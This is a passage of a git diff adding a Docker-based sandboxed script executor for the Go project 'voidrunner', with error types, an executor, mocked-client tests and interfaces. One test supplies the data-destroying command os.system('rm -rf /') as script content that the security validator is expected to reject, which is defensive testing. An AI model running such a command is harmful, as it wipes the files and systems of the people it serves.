*testing.T) { + tests := []struct { + name string + containerID string + operation string + reason string + cause error + expected string + }{ + { + name: "Container error without cause", + containerID: "abc123", + operation: "start_container", + reason: "container not found", + cause: nil, + expected: "container error in start_container for abc123: container not found", + }, + { + name: "Container error with cause", + containerID: "abc123", + operation: "start_container", + reason: "container not found", + cause: errors.New("Docker daemon error"), + expected: "container error in start_container for abc123: container not found: Docker daemon error", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + err := NewContainerError(tt.containerID, tt.operation, tt.reason, tt.cause) + assert.Equal(t, tt.expected, err.Error()) + assert.Equal(t, tt.containerID, err.ContainerID) + assert.Equal(t, tt.operation, err.Operation) + assert.Equal(t, tt.reason, err.Reason) + assert.Equal(t, tt.cause, err.Cause) + + if tt.cause != nil { + assert.Equal(t, tt.cause, err.Unwrap()) + } else { + assert.Nil(t, err.Unwrap()) + } + }) + } +} + +func TestConfigError(t *testing.T) { + tests := []struct { + name string + field string + reason string + expected string + }{ + { + name: "Generic config error", + field: "config", + reason: "invalid configuration", + expected: "configuration error in field config: invalid configuration", + }, + { + name: "Specific field error", + field: "memory_limit", + reason: "must be positive", + expected: "configuration error in field memory_limit: must be positive", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + var err error + if tt.field == "config" { + err = ErrInvalidConfig(tt.reason) + } else { + err = ErrInvalidConfigField(tt.field, tt.reason) + } + + assert.Equal(t, tt.expected, err.Error()) + }) + } +} + +func TestSecurityError(t *testing.T) { + tests := []struct { + name string + operation string + reason string + cause error + expected string + }{ + { + name: "Security error without cause", + operation: "validate_script", + reason: "dangerous pattern detected", + cause: nil, + expected: "security error in validate_script: dangerous pattern detected", + }, + { + name: "Security error with cause", + operation: "validate_script", + reason: "dangerous pattern detected", + cause: errors.New("rm -rf found"), + expected: "security error in validate_script: dangerous pattern detected: rm -rf found", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + err := NewSecurityError(tt.operation, tt.reason, tt.cause) + assert.Equal(t, tt.expected, err.Error()) + assert.Equal(t, tt.operation, err.Operation) + assert.Equal(t, tt.reason, err.Reason) + assert.Equal(t, tt.cause, err.Cause) + + if tt.cause != nil { + assert.Equal(t, tt.cause, err.Unwrap()) + } else { + assert.Nil(t, err.Unwrap()) + } + }) + } +} + +func TestErrorTypeCheckers(t *testing.T) { + t.Run("IsTimeoutError", func(t *testing.T) { + assert.True(t, IsTimeoutError(ErrExecutionTimeout)) + assert.False(t, IsTimeoutError(ErrExecutionCancelled)) + assert.False(t, IsTimeoutError(errors.New("other error"))) + }) + + t.Run("IsCancelledError", func(t *testing.T) { + assert.True(t, IsCancelledError(ErrExecutionCancelled)) + assert.False(t, IsCancelledError(ErrExecutionTimeout)) + assert.False(t, IsCancelledError(errors.New("other error"))) + }) + + t.Run("IsDockerError", func(t *testing.T) { + assert.True(t, IsDockerError(ErrDockerUnavailable)) + assert.True(t, IsDockerError(ErrContainerNotFound)) + assert.True(t, IsDockerError(ErrImageNotFound)) + assert.False(t, IsDockerError(ErrExecutionTimeout)) + assert.False(t, IsDockerError(errors.New("other error"))) + }) + + t.Run("IsResourceError", func(t *testing.T) { + assert.True(t, IsResourceError(ErrResourceExhausted)) + assert.False(t, IsResourceError(ErrExecutionTimeout)) + assert.False(t, IsResourceError(errors.New("other error"))) + }) + + t.Run("IsSecurityError", func(t *testing.T) { + secErr := NewSecurityError("test", "test error", nil) + assert.True(t, IsSecurityError(secErr)) + assert.False(t, IsSecurityError(ErrExecutionTimeout)) + assert.False(t, IsSecurityError(errors.New("other error"))) + }) + + t.Run("IsConfigError", func(t *testing.T) { + confErr := ErrInvalidConfig("test error") + assert.True(t, IsConfigError(confErr)) + assert.False(t, IsConfigError(ErrExecutionTimeout)) + assert.False(t, IsConfigError(errors.New("other error"))) + }) +} + +func TestErrorWrapping(t *testing.T) { + baseErr := errors.New("base error") + + t.Run("ExecutorError wrapping", func(t *testing.T) { + wrappedErr := NewExecutorError("test", "wrapped error", baseErr) + assert.True(t, errors.Is(wrappedErr, baseErr)) + }) + + t.Run("ContainerError wrapping", func(t *testing.T) { + wrappedErr := NewContainerError("container123", "test", "wrapped error", baseErr) + assert.True(t, errors.Is(wrappedErr, baseErr)) + }) + + t.Run("SecurityError wrapping", func(t *testing.T) { + wrappedErr := NewSecurityError("test", "wrapped error", baseErr) + assert.True(t, errors.Is(wrappedErr, baseErr)) + }) +} diff --git a/internal/executor/executor.go b/internal/executor/executor.go new file mode 100644 index 0000000..dd54c1b --- /dev/null +++ b/internal/executor/executor.go @@ -0,0 +1,366 @@ +package executor + +import ( + "context" + "fmt" + "log/slog" + "time" + + "github.com/google/uuid" + "github.com/voidrunnerhq/voidrunner/internal/models" +) + +// Executor implements the TaskExecutor interface +type Executor struct { + client ContainerClient + config *Config + securityManager *SecurityManager + cleanupManager *CleanupManager + logger *slog.Logger +} + +// NewExecutor creates a new executor with the given configuration +func NewExecutor(config *Config, logger *slog.Logger) (*Executor, error) { + if config == nil { + config = NewDefaultConfig() + } + + if logger == nil { + logger = slog.Default() + } + + // Create Docker client + dockerClient, err := NewDockerClient(config, logger) + if err != nil { + return nil, fmt.Errorf("failed to create Docker client: %w", err) + } + + // Create security manager + securityManager := NewSecurityManager(config) + + // Create cleanup manager + cleanupManager := NewCleanupManager(dockerClient, logger) + + executor := &Executor{ + client: dockerClient, + config: config, + securityManager: securityManager, + cleanupManager: cleanupManager, + logger: logger, + } + + return executor, nil +} + +// Execute runs the given task and returns the execution result +func (e *Executor) Execute(ctx context.Context, execCtx *ExecutionContext) (*ExecutionResult, error) { + if execCtx == nil || execCtx.Task == nil { + return nil, NewExecutorError("execute", "execution context or task is nil", nil) + } + + task := execCtx.Task + logger := e.logger.With( + "task_id", task.ID.String(), + "script_type", string(task.ScriptType), + "operation", "execute", + ) + + logger.Info("starting task execution") + + // Validate script content for security + if err := e.securityManager.ValidateScriptContent(task.ScriptContent, task.ScriptType); err != nil { + logger.Error("script security validation failed", "error", err) + return &ExecutionResult{ + Status: models.ExecutionStatusFailed, + Stderr: stringPtr(fmt.Sprintf("Security validation failed: %s", err.Error())), + }, err + } + + // Build container configuration + containerConfig, err := e.buildContainerConfig(task, execCtx.ResourceLimits, execCtx.Timeout) + if err != nil { + logger.Error("failed to build container configuration", "error", err) + return &ExecutionResult{ + Status: models.ExecutionStatusFailed, + Stderr: stringPtr(fmt.Sprintf("Configuration error: %s", err.Error())), + }, err + } + + // Validate container configuration + if err := e.securityManager.ValidateContainerConfig(containerConfig); err != nil { + logger.Error("container configuration validation failed", "error", err) + return &ExecutionResult{ + Status: models.ExecutionStatusFailed, + Stderr: stringPtr(fmt.Sprintf("Security validation failed: %s", err.Error())), + }, err + } + + // Create execution context with timeout + execTimeout := execCtx.Timeout + if execTimeout == 0 { + execTimeout = e.config.GetTimeoutForTask(task) + } + + ctxWithTimeout, cancel := context.WithTimeout(ctx, execTimeout) + defer cancel() + + // Execute the container + result, err := e.executeContainer(ctxWithTimeout, containerConfig, execCtx, logger) + if err != nil { + logger.Error("container execution failed", "error", err) + if result == nil { + return &ExecutionResult{ + Status: models.ExecutionStatusFailed, + Stderr: stringPtr(fmt.Sprintf("Execution error: %s", err.Error())), + }, err + } + } + + logger.Info("task execution completed", + "status", result.Status, + "duration_ms", result.ExecutionTimeMs, + "return_code", result.ReturnCode) + + return result, err +} + +// executeContainer executes a single container and returns the result +func (e *Executor) executeContainer(ctx context.Context, config *ContainerConfig, execCtx *ExecutionContext, logger *slog.Logger) (*ExecutionResult, error) { + startTime := time.Now() + + result := &ExecutionResult{ + Status: models.ExecutionStatusRunning, + StartedAt: &startTime, + } + + // Create container + logger.Debug("creating container", "image", config.Image) + containerID, err := e.client.CreateContainer(ctx, config) + if err != nil { + result.Status = models.ExecutionStatusFailed + return result, NewExecutorError("execute_container", "failed to create container", err) + } + + logger = logger.With("container_id", containerID[:12]) // Short container ID for logging + + // Register container with cleanup manager for tracking + if err := e.cleanupManager.RegisterContainer(containerID, execCtx.Task.ID, execCtx.Execution.ID, config.Image); err != nil { + logger.Error("failed to register container for tracking", "error", err) + // Continue execution but log the error - cleanup tracking is not critical for execution + } + + // Ensure container cleanup + defer func() { + cleanupCtx, cleanupCancel := context.WithTimeout(context.Background(), 30*time.Second) + defer cleanupCancel() + + if err := e.client.RemoveContainer(cleanupCtx, containerID, true); err != nil { + logger.Error("failed to cleanup container", "error", err) + } + }() + + // Start container + logger.Debug("starting container") + if err := e.client.StartContainer(ctx, containerID); err != nil { + result.Status = models.ExecutionStatusFailed + return result, NewExecutorError("execute_container", "failed to start container", err) + } + + // Mark container as started + e.cleanupManager.MarkContainerStarted(containerID) + + // Wait for container to finish + logger.Debug("waiting for container to complete") + exitCode, err := e.client.WaitContainer(ctx, containerID) + + endTime := time.Now() + result.CompletedAt = &endTime + duration := int(endTime.Sub(startTime).Milliseconds()) + result.ExecutionTimeMs = &duration + + if err != nil { + if IsTimeoutError(err) || ctx.Err() == context.DeadlineExceeded { + result.Status = models.ExecutionStatusTimeout + logger.Warn("container execution timed out") + } else if IsCancelledError(err) || ctx.Err() == context.Canceled { + result.Status = models.ExecutionStatusCancelled + logger.Info("container execution cancelled") + } else { + result.Status = models.ExecutionStatusFailed + logger.Error("container execution failed", "error", err) + } + } else { + result.ReturnCode = &exitCode + if exitCode == 0 { + result.Status = models.ExecutionStatusCompleted + } else { + result.Status = models.ExecutionStatusFailed + } + } + + // Get container logs + logger.Debug("retrieving container logs") + stdout, stderr, logErr := e.client.GetContainerLogs(ctx, containerID) + if logErr != nil { + logger.Error("failed to get container logs", "error", logErr) + // Don't fail the execution just because we couldn't get logs + stderr = fmt.Sprintf("Failed to retrieve logs: %s", logErr.Error()) + } + + if stdout != "" { + result.Stdout = &stdout + } + if stderr != "" { + result.Stderr = &stderr + } + + // Mark container as completed with final status + e.cleanupManager.MarkContainerCompleted(containerID, string(result.Status)) + + return result, err +} + +// buildContainerConfig creates a container configuration for the given task +func (e *Executor) buildContainerConfig(task *models.Task, resourceLimits ResourceLimits, timeout time.Duration) (*ContainerConfig, error) { + // Get appropriate image for script type + image := e.config.GetImageForScriptType(task.ScriptType) + + // Validate image security + if err := e.securityManager.CheckImageSecurity(image); err != nil { + return nil, fmt.Errorf("image security check failed: %w", err) + } + + // Get resource limits (use provided or get from config) + if resourceLimits.MemoryLimitBytes == 0 { + resourceLimits = e.config.GetResourceLimitsForTask(task) + } + + // Get security configuration + securityConfig := e.config.GetSecurityConfigForTask(task) + + // Get execution timeout + if timeout == 0 { + timeout = e.config.GetTimeoutForTask(task) + } + + // Sanitize environment variables + environment := e.securityManager.SanitizeEnvironment([]string{ + "PATH=/usr/local/bin:/usr/bin:/bin", + "HOME=/tmp", + "USER=executor", + "PYTHONIOENCODING=utf-8", + }) + + config := &ContainerConfig{ + Image: image, + ScriptType: task.ScriptType, + ScriptContent: task.ScriptContent, + Environment: environment, + WorkingDir: "/tmp/workspace", + ResourceLimits: resourceLimits, + SecurityConfig: securityConfig, + Timeout: timeout, + } + + return config, nil +} + +// Cancel cancels a running execution +func (e *Executor) Cancel(ctx context.Context, executionID uuid.UUID) error { + logger := e.logger.With("execution_id", executionID.String(), "operation", "cancel") + logger.Info("execution cancellation requested") + + // Use cleanup manager to cancel all containers for this execution + if err := e.cleanupManager.CleanupExecution(ctx, executionID); err != nil { + logger.Error("failed to cleanup execution containers", "error", err) + return NewExecutorError("cancel", "failed to cancel execution containers", err) + } + + logger.Info("execution cancellation completed") + return nil +} + +// IsHealthy checks if the executor is healthy and ready to execute tasks +func (e *Executor) IsHealthy(ctx context.Context) error { + // Check Docker client health + if err := e.client.IsHealthy(ctx); err != nil { + return fmt.Errorf("Docker client health check failed: %w", err) + } + + // Check if required images are available + requiredImages := []string{ + e.config.Images.Python, + e.config.Images.Bash, + } + + for _, image := range requiredImages { + if err := e.ensureImageAvailable(ctx, image); err != nil { + e.logger.Warn("image not available, will be pulled on demand", + "image", image, "error", err) + } + } + + // Validate configuration + if err := e.config.Validate(); err != nil { + return fmt.Errorf("configuration validation failed: %w", err) + } + + return nil +} + +// ensureImageAvailable checks if an image is available locally +func (e *Executor) ensureImageAvailable(ctx context.Context, image string) error { + // For now, we'll rely on Docker to pull images as needed + // In a production environment, we might want to pre-pull critical images + return nil +} + +// Cleanup performs any necessary cleanup of resources +func (e *Executor) Cleanup(ctx context.Context) error { + e.logger.Info("cleaning up executor resources") + + // Stop cleanup manager and cleanup all containers + if err := e.cleanupManager.Stop(ctx); err != nil { + e.logger.Error("failed to stop cleanup manager", "error", err) + } + + // Close Docker client if it implements Close() + if closer, ok := e.client.(interface{ Close() error }); ok { + if err := closer.Close(); err != nil { + e.logger.Error("failed to close Docker client", "error", err) + return err + } + } + + return nil +} + +// GetExecutorInfo returns information about the executor +func (e *Executor) GetExecutorInfo(ctx context.Context) (*ExecutorInfo, error) { + dockerInfo, err := e.client.(interface { + GetDockerInfo(context.Context) (interface{}, error) + }).GetDockerInfo(ctx) + if err != nil { + return nil, fmt.Errorf("failed to get Docker info: %w", err) + } + + return &ExecutorInfo{ + Version: "1.0.0", + DockerInfo: dockerInfo, + Config: e.config, + IsHealthy: e.IsHealthy(ctx) == nil, + }, nil +} + +// ExecutorInfo contains information about the executor +type ExecutorInfo struct { + Version string `json:"version"` + DockerInfo interface{} `json:"docker_info"` + Config *Config `json:"config"` + IsHealthy bool `json:"is_healthy"` +} + +// Helper function to create string pointer +func stringPtr(s string) *string { + return &s +} diff --git a/internal/executor/executor_test.go b/internal/executor/executor_test.go new file mode 100644 index 0000000..a122e0d --- /dev/null +++ b/internal/executor/executor_test.go @@ -0,0 +1,536 @@ +package executor + +import ( + "context" + "errors" + "log/slog" + "testing" + "time" + + "github.com/google/uuid" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/mock" + "github.com/stretchr/testify/require" + "github.com/voidrunnerhq/voidrunner/internal/models" +) + +// MockContainerClient is a mock implementation of ContainerClient for testing +type MockContainerClient struct { + mock.Mock +} + +func (m *MockContainerClient) CreateContainer(ctx context.Context, config *ContainerConfig) (string, error) { + args := m.Called(ctx, config) + return args.String(0), args.Error(1) +} + +func (m *MockContainerClient) StartContainer(ctx context.Context, containerID string) error { + args := m.Called(ctx, containerID) + return args.Error(0) +} + +func (m *MockContainerClient) WaitContainer(ctx context.Context, containerID string) (int, error) { + args := m.Called(ctx, containerID) + return args.Int(0), args.Error(1) +} + +func (m *MockContainerClient) GetContainerLogs(ctx context.Context, containerID string) (stdout, stderr string, err error) { + args := m.Called(ctx, containerID) + return args.String(0), args.String(1), args.Error(2) +} + +func (m *MockContainerClient) RemoveContainer(ctx context.Context, containerID string, force bool) error { + args := m.Called(ctx, containerID, force) + return args.Error(0) +} + +func (m *MockContainerClient) StopContainer(ctx context.Context, containerID string, timeout time.Duration) error { + args := m.Called(ctx, containerID, timeout) + return args.Error(0) +} + +func (m *MockContainerClient) IsHealthy(ctx context.Context) error { + args := m.Called(ctx) + return args.Error(0) +} + +func (m *MockContainerClient) ListContainers(ctx context.Context, all bool) ([]ContainerSummary, error) { + args := m.Called(ctx, all) + return args.Get(0).([]ContainerSummary), args.Error(1) +} + +func (m *MockContainerClient) GetDockerInfo(ctx context.Context) (interface{}, error) { + args := m.Called(ctx) + return args.Get(0), args.Error(1) +} + +func (m *MockContainerClient) GetDockerVersion(ctx context.Context) (interface{}, error) { + args := m.Called(ctx) + return args.Get(0), args.Error(1) +} + +func (m *MockContainerClient) GetContainerInfo(ctx context.Context, containerID string) (interface{}, error) { + args := m.Called(ctx, containerID) + return args.Get(0), args.Error(1) +} + +func (m *MockContainerClient) PullImage(ctx context.Context, imageName string) error { + args := m.Called(ctx, imageName) + return args.Error(0) +} + +func TestNewExecutor(t *testing.T) { + tests := []struct { + name string + config *Config + expectErr bool + }{ + { + name: "Valid configuration", + config: NewDefaultConfig(), + expectErr: false, + }, + { + name: "Nil configuration uses default", + config: nil, + expectErr: false, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + executor, err := NewExecutor(tt.config, nil) + if tt.expectErr { + require.Error(t, err) + assert.Nil(t, executor) + } else { + require.NoError(t, err) + assert.NotNil(t, executor) + assert.NotNil(t, executor.config) + assert.NotNil(t, executor.securityManager) + assert.NotNil(t, executor.cleanupManager) + assert.NotNil(t, executor.logger) + } + }) + } +} + +func TestExecutor_Execute(t *testing.T) { + // Create a test executor with mocked dependencies + config := NewDefaultConfig() + // Disable seccomp for tests to avoid file system dependencies + config.Security.EnableSeccomp = false + executor := &Executor{ + config: config, + securityManager: NewSecurityManager(config), + cleanupManager: NewCleanupManager(nil, nil), + logger: slog.Default(), + } + + // Test cases + tests := []struct { + name string + execCtx *ExecutionContext + mockSetup func(*MockContainerClient) + expectErr bool + expectedStatus models.ExecutionStatus + }{ + { + name: "Successful Python execution", + execCtx: &ExecutionContext{ + Task: &models.Task{ + BaseModel: models.BaseModel{ + ID: uuid.New(), + }, + ScriptType: models.ScriptTypePython, + ScriptContent: "print('Hello, World!')", + }, + Execution: &models.TaskExecution{ + ID: uuid.New(), + }, + Context: context.Background(), + Timeout: 30 * time.Second, + ResourceLimits: ResourceLimits{ + MemoryLimitBytes: 128 * 1024 * 1024, + CPUQuota: 50000, + PidsLimit: 128, + TimeoutSeconds: 30, + }, + }, + mockSetup: func(m *MockContainerClient) { + m.On("CreateContainer", mock.Anything, mock.Anything).Return("container123", nil) + m.On("StartContainer", mock.Anything, "container123").Return(nil) + m.On("WaitContainer", mock.Anything, "container123").Return(0, nil) + m.On("GetContainerLogs", mock.Anything, "container123").Return("Hello, World!", "", nil) + m.On("RemoveContainer", mock.Anything, "container123", true).Return(nil) + }, + expectErr: false, + expectedStatus: models.ExecutionStatusCompleted, + }, + { + name: "Successful Bash execution", + execCtx: &ExecutionContext{ + Task: &models.Task{ + BaseModel: models.BaseModel{ + ID: uuid.New(), + }, + ScriptType: models.ScriptTypeBash, + ScriptContent: "echo 'Hello, World!'", + }, + Execution: &models.TaskExecution{ + ID: uuid.New(), + }, + Context: context.Background(), + Timeout: 30 * time.Second, + ResourceLimits: ResourceLimits{ + MemoryLimitBytes: 128 * 1024 * 1024, + CPUQuota: 50000, + PidsLimit: 128, + TimeoutSeconds: 30, + }, + }, + mockSetup: func(m *MockContainerClient) { + m.On("CreateContainer", mock.Anything, mock.Anything).Return("container456", nil) + m.On("StartContainer", mock.Anything, "container456").Return(nil) + m.On("WaitContainer", mock.Anything, "container456").Return(0, nil) + m.On("GetContainerLogs", mock.Anything, "container456").Return("Hello, World!", "", nil) + m.On("RemoveContainer", mock.Anything, "container456", true).Return(nil) + }, + expectErr: false, + expectedStatus: models.ExecutionStatusCompleted, + }, + { + name: "Script with non-zero exit code", + execCtx: &ExecutionContext{ + Task: &models.Task{ + BaseModel: models.BaseModel{ + ID: uuid.New(), + }, + ScriptType: models.ScriptTypePython, + ScriptContent: "exit(1)", + }, + Execution: &models.TaskExecution{ + ID: uuid.New(), + }, + Context: context.Background(), + Timeout: 30 * time.Second, + ResourceLimits: ResourceLimits{ + MemoryLimitBytes: 128 * 1024 * 1024, + CPUQuota: 50000, + PidsLimit: 128, + TimeoutSeconds: 30, + }, + }, + mockSetup: func(m *MockContainerClient) { + m.On("CreateContainer", mock.Anything, mock.Anything).Return("container789", nil) + m.On("StartContainer", mock.Anything, "container789").Return(nil) + m.On("WaitContainer", mock.Anything, "container789").Return(1, nil) + m.On("GetContainerLogs", mock.Anything, "container789").Return("", "", nil) + m.On("RemoveContainer", mock.Anything, "container789", true).Return(nil) + }, + expectErr: false, + expectedStatus: models.ExecutionStatusFailed, + }, + { + name: "Container creation failure", + execCtx: &ExecutionContext{ + Task: &models.Task{ + BaseModel: models.BaseModel{ + ID: uuid.New(), + }, + ScriptType: models.ScriptTypePython, + ScriptContent: "print('Hello, World!')", + }, + Execution: &models.TaskExecution{ + ID: uuid.New(), + }, + Context: context.Background(), + Timeout: 30 * time.Second, + ResourceLimits: ResourceLimits{ + MemoryLimitBytes: 128 * 1024 * 1024, + CPUQuota: 50000, + PidsLimit: 128, + TimeoutSeconds: 30, + }, + }, + mockSetup: func(m *MockContainerClient) { + m.On("CreateContainer", mock.Anything, mock.Anything).Return("", errors.New("failed to create container")) + }, + expectErr: true, + expectedStatus: models.ExecutionStatusFailed, + }, + { + name: "Container start failure", + execCtx: &ExecutionContext{ + Task: &models.Task{ + BaseModel: models.BaseModel{ + ID: uuid.New(), + }, + ScriptType: models.ScriptTypePython, + ScriptContent: "print('Hello, World!')", + }, + Execution: &models.TaskExecution{ + ID: uuid.New(), + }, + Context: context.Background(), + Timeout: 30 * time.Second, + ResourceLimits: ResourceLimits{ + MemoryLimitBytes: 128 * 1024 * 1024, + CPUQuota: 50000, + PidsLimit: 128, + TimeoutSeconds: 30, + }, + }, + mockSetup: func(m *MockContainerClient) { + m.On("CreateContainer", mock.Anything, mock.Anything).Return("containerABC", nil) + m.On("StartContainer", mock.Anything, "containerABC").Return(errors.New("failed to start container")) + m.On("RemoveContainer", mock.Anything, "containerABC", true).Return(nil) + }, + expectErr: true, + expectedStatus: models.ExecutionStatusFailed, + }, + { + name: "Context timeout", + execCtx: &ExecutionContext{ + Task: &models.Task{ + BaseModel: models.BaseModel{ + ID: uuid.New(), + }, + ScriptType: models.ScriptTypePython, + ScriptContent: "import time; time.sleep(10)", + }, + Execution: &models.TaskExecution{ + ID: uuid.New(), + }, + Context: context.Background(), + Timeout: 1 * time.Second, + ResourceLimits: ResourceLimits{ + MemoryLimitBytes: 128 * 1024 * 1024, + CPUQuota: 50000, + PidsLimit: 128, + TimeoutSeconds: 1, + }, + }, + mockSetup: func(m *MockContainerClient) { + m.On("CreateContainer", mock.Anything, mock.Anything).Return("containerDEF", nil) + m.On("StartContainer", mock.Anything, "containerDEF").Return(nil) + m.On("WaitContainer", mock.Anything, "containerDEF").Return(-1, context.DeadlineExceeded) + m.On("GetContainerLogs", mock.Anything, "containerDEF").Return("", "", nil) + m.On("RemoveContainer", mock.Anything, "containerDEF", true).Return(nil) + }, + expectErr: true, + expectedStatus: models.ExecutionStatusFailed, + }, + { + name: "Nil execution context", + execCtx: nil, + mockSetup: func(m *MockContainerClient) { + // No mock setup needed for this test + }, + expectErr: true, + expectedStatus: models.ExecutionStatusFailed, + }, + { + name: "Nil task in execution context", + execCtx: &ExecutionContext{ + Task: nil, + Execution: &models.TaskExecution{ + ID: uuid.New(), + }, + Context: context.Background(), + Timeout: 30 * time.Second, + }, + mockSetup: func(m *MockContainerClient) { + // No mock setup needed for this test + }, + expectErr: true, + expectedStatus: models.ExecutionStatusFailed, + }, + { + name: "Dangerous script content", + execCtx: &ExecutionContext{ + Task: &models.Task{ + BaseModel: models.BaseModel{ + ID: uuid.New(), + }, + ScriptType: models.ScriptTypePython, + ScriptContent: "import os; os.system('rm -rf /')", + }, + Execution: &models.TaskExecution{ + ID: uuid.New(), + }, + Context: context.Background(), + Timeout: 30 * time.Second, + ResourceLimits: ResourceLimits{ + MemoryLimitBytes: 128 * 1024 * 1024, + CPUQuota: 50000, + PidsLimit: 128, + TimeoutSeconds: 30, + }, + }, + mockSetup: func(m *MockContainerClient) { + // No mock setup needed for this test as it should fail validation + }, + expectErr: true, + expectedStatus: models.ExecutionStatusFailed, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + // Create mock client + mockClient := new(MockContainerClient) + tt.mockSetup(mockClient) + + // Set mock client in executor + executor.client = mockClient + + // Execute + result, err := executor.Execute(context.Background(), tt.execCtx) + + // Verify results + if tt.expectErr { + require.Error(t, err) + } else { + require.NoError(t, err) + } + + if result != nil { + assert.Equal(t, tt.expectedStatus, result.Status) + } + + // Verify all expected calls were made + mockClient.AssertExpectations(t) + }) + } +} + +func TestExecutor_Cancel(t *testing.T) { + config := NewDefaultConfig() + executor := &Executor{ + config: config, + securityManager: NewSecurityManager(config), + cleanupManager: NewCleanupManager(nil, nil), + logger: slog.Default(), + } + + // Test successful cancellation + executionID := uuid.New() + err := executor.Cancel(context.Background(), executionID) + + // Should not error even if there are no containers to cancel + assert.NoError(t, err) +} + +func TestExecutor_IsHealthy(t *testing.T) { + config := NewDefaultConfig() + executor := &Executor{ + config: config, + securityManager: NewSecurityManager(config), + cleanupManager: NewCleanupManager(nil, nil), + logger: slog.Default(), + } + + // Test health check + mockClient := new(MockContainerClient) + mockClient.On("IsHealthy", mock.Anything).Return(nil) + executor.client = mockClient + + err := executor.IsHealthy(context.Background()) + assert.NoError(t, err) + mockClient.AssertExpectations(t) + + // Test health check failure + mockClient2 := new(MockContainerClient) + mockClient2.On("IsHealthy", mock.Anything).Return(errors.New("docker daemon not available")) + executor.client = mockClient2 + + err = executor.IsHealthy(context.Background()) + assert.Error(t, err) + mockClient2.AssertExpectations(t) +} + +func TestExecutor_Cleanup(t *testing.T) { + config := NewDefaultConfig() + executor := &Executor{ + config: config, + securityManager: NewSecurityManager(config), + cleanupManager: NewCleanupManager(nil, nil), + logger: slog.Default(), + } + + // Test cleanup + err := executor.Cleanup(context.Background()) + assert.NoError(t, err) +} + +func TestExecutor_GetExecutorInfo(t *testing.T) { + config := NewDefaultConfig() + executor := &Executor{ + config: config, + securityManager: NewSecurityManager(config), + cleanupManager: NewCleanupManager(nil, nil), + logger: slog.Default(), + } + + // Mock client that implements GetDockerInfo + mockClient := new(MockContainerClient) + + // Mock the required methods + mockClient.On("GetDockerInfo", mock.Anything).Return(map[string]interface{}{ + "ServerVersion": "20.10.7", + "Architecture": "x86_64", + }, nil) + mockClient.On("IsHealthy", mock.Anything).Return(nil) + + executor.client = mockClient + + // Test the GetExecutorInfo functionality + info, err := executor.GetExecutorInfo(context.Background()) + + // Verify the result + require.NoError(t, err) + assert.NotNil(t, info) + assert.Equal(t, "1.0.0", info.Version) + assert.NotNil(t, info.Config) + + // Verify mock expectations + mockClient.AssertExpectations(t) +} + +func TestExecutor_buildContainerConfig(t *testing.T) { + config := NewDefaultConfig() + executor := &Executor{ + config: config, + securityManager: NewSecurityManager(config), + cleanupManager: NewCleanupManager(nil, nil), + logger: slog.Default(), + } + + task := &models.Task{ + BaseModel: models.BaseModel{ + ID: uuid.New(), + }, + ScriptType: models.ScriptTypePython, + ScriptContent: "print('test')", + } + + resourceLimits := ResourceLimits{ + MemoryLimitBytes: 128 * 1024 * 1024, + CPUQuota: 50000, + PidsLimit: 128, + TimeoutSeconds: 300, + } + + containerConfig, err := executor.buildContainerConfig(task, resourceLimits, 300*time.Second) + + require.NoError(t, err) + assert.NotNil(t, containerConfig) + assert.Equal(t, config.Images.Python, containerConfig.Image) + assert.Equal(t, models.ScriptTypePython, containerConfig.ScriptType) + assert.Equal(t, "print('test')", containerConfig.ScriptContent) + assert.Equal(t, resourceLimits, containerConfig.ResourceLimits) + assert.Equal(t, 300*time.Second, containerConfig.Timeout) + assert.NotEmpty(t, containerConfig.Environment) + assert.Equal(t, "/tmp/workspace", containerConfig.WorkingDir) +} diff --git a/internal/executor/interfaces.go b/internal/executor/interfaces.go new file mode 100644 index 0000000..1b80ff7 --- /dev/null +++ b/internal/executor/interfaces.go @@ -0,0 +1,181 @@ +package executor + +import ( + "context" + "time" + + "github.com/google/uuid" + "github.com/voidrunnerhq/voidrunner/internal/models" +) + +// ExecutionResult represents the result of a code execution +type ExecutionResult struct { + // Status of the execution + Status models.ExecutionStatus + + // Return code from the executed script + ReturnCode *int + + // Standard output from the execution + Stdout *string + + // Standard error from the execution + Stderr *string + + // Duration of the execution in milliseconds + ExecutionTimeMs *int + + // Memory usage in bytes + MemoryUsageBytes *int64 + + // Time when execution started + StartedAt *time.Time + + // Time when execution completed + CompletedAt *time.Time +} + +// ExecutionContext represents the context for executing a task +type ExecutionContext struct { + // Task to execute + Task *models.Task + + // Execution record + Execution *models.TaskExecution + + // Context for cancellation + Context context.Context + + // Maximum execution time + Timeout time.Duration + + // Resource limits + ResourceLimits ResourceLimits +} + +// ResourceLimits defines resource constraints for execution +type ResourceLimits struct { + // Memory limit in bytes + MemoryLimitBytes int64 + + // CPU quota (100000 = 1 CPU core) + CPUQuota int64 + + // Maximum number of processes/threads + PidsLimit int64 + + // Execution timeout + TimeoutSeconds int +} + +// TaskExecutor defines the interface for executing tasks in containers +type TaskExecutor interface { + // Execute runs the given task and returns the execution result + Execute(ctx context.Context, execCtx *ExecutionContext) (*ExecutionResult, error) + + // Cancel cancels a running execution + Cancel(ctx context.Context, executionID uuid.UUID) error + + // IsHealthy checks if the executor is healthy and ready to execute tasks + IsHealthy(ctx context.Context) error + + // Cleanup performs any necessary cleanup of resources + Cleanup(ctx context.Context) error +} + +// ContainerClient defines the interface for Docker operations +type ContainerClient interface { + // CreateContainer creates a new container with the specified configuration + CreateContainer(ctx context.Context, config *ContainerConfig) (string, error) + + // StartContainer starts the specified container + StartContainer(ctx context.Context, containerID string) error + + // WaitContainer waits for the container to finish and returns the exit code + WaitContainer(ctx context.Context, containerID string) (int, error) + + // GetContainerLogs retrieves logs from the specified container + GetContainerLogs(ctx context.Context, containerID string) (stdout, stderr string, err error) + + // RemoveContainer removes the specified container + RemoveContainer(ctx context.Context, containerID string, force bool) error + + // StopContainer stops the specified container + StopContainer(ctx context.Context, containerID string, timeout time.Duration) error + + // IsHealthy checks if the Docker daemon is accessible + IsHealthy(ctx context.Context) error + + // ListContainers returns a list of containers + ListContainers(ctx context.Context, all bool) ([]ContainerSummary, error) + + // PullImage pulls a container image + PullImage(ctx context.Context, image string) error + + // GetDockerInfo returns Docker system information + GetDockerInfo(ctx context.Context) (interface{}, error) + + // GetDockerVersion returns Docker version information + GetDockerVersion(ctx context.Context) (interface{}, error) +} + +// ContainerConfig represents the configuration for creating a 